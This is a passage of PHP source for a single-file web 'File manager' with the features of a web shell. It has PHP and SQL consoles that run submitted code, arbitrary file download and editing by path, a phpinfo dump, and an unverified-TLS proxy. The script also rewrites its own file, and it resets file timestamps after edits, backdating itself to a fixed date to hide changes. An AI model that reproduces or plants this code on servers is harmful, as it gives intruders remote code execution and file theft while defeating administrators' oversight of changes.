json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search =
preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace =
str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) &&
(!empty($fm_config['enable_proxy']))) {
	$url =
isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background:
linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed
100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy"
value="true">
	'.fm_home().' <a href="'.$url.'"
target="_blank">Url</a>: <input type="text"
name="url" value="'.$url.'"
size="55">
	<input type="submit"
value="'.__('Show').'"
class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result =
preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui',
'\\1="'.$url.'/\\2"', $result);
		$result =
preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui',
'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i',
'$1'.'<style>'.fm_home_style().'</style>'.$proxy_form,
$result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width,
initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image:
url("data:image/png;base64,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");
}

.file {
    background-image:
url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3
{display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if
(isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' :
$_POST['sql'];
	$res_lng = 'sql';
} elseif
(isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' :
$_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File
manager').' -
'.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td
class="row2"
colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the
folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').'
'.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').'
'.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').'
'.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').'
'.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP
version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP
ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').'
'.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').'
xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP
'.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL
'.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input
name="fm_config[sql_server]"
value="'.$fm_config['sql_server'].'"
type="text"></td><td class="row2
whole">SQL server</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_username]"
value="'.$fm_config['sql_username'].'"
type="text"></td><td class="row2
whole">SQL user</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_password]"
value="'.$fm_config['sql_password'].'"
type="text"></td><td class="row2
whole">SQL password</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_db]"
value="'.$fm_config['sql_db'].'"
type="text"></td><td class="row2
whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').'
Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').'
phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').'
'.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after
editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').':
'.__('Restore file time after
editing'),'fm_restore_time').'
<tr><td class="row3"><a
href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset
settings').'</a></td><td
class="row3"><input type="submit"
value="'.__('Save').'"
name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th
colspan="2">'.__('Settings').' -
'.__('Authorization').'</th></tr>
<tr><td class="row1"><input
name="fm_login[authorize]" value="1"
'.($auth['authorize']?'checked':'').'
type="checkbox" id="auth"></td><td
class="row2 whole"><label
for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input
name="fm_login[login]"
value="'.$auth['login'].'"
type="text"></td><td class="row2
whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input
name="fm_login[password]"
value="'.$auth['password'].'"
type="text"></td><td class="row2
whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input
name="fm_login[cookie_name]"
value="'.$auth['cookie_name'].'"
type="text"></td><td class="row2
whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input
name="fm_login[days_authorization]"
value="'.$auth['days_authorization'].'"
type="text"></td><td class="row2
whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea
name="fm_login[script]" cols="35" rows="7"
class="textarea_input"
id="auth_script">'.$auth['script'].'</textarea></td><td
class="row2
whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td
class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?>
<?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database:
'.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo
'</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' .
$path;?>"><?=__('Back')?></a>
		<form action="" method="POST"
name="console">
		<textarea name="<?=$res_lng?>" cols="80"
rows="10" style="width:
90%"><?=$res?></textarea><br/>
		<input type="reset"
value="<?=__('Reset')?>">
		<input type="submit"
value="<?=__('Submit')?>"
name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ?
$_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl"
title="'.__('Template').'" onchange="if
(this.value!=-1)
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
= this.options[selectedIndex].value; else
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
=\'\';" >'."\n";
	$select .= '<option value="-1">' .
__('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'"
'.((!empty($value)&&($value==$active))?'selected':'').'
>'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).'
'.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .=
__('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time']))
touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' .
$_REQUEST['edit'] . '&path=' . $path;
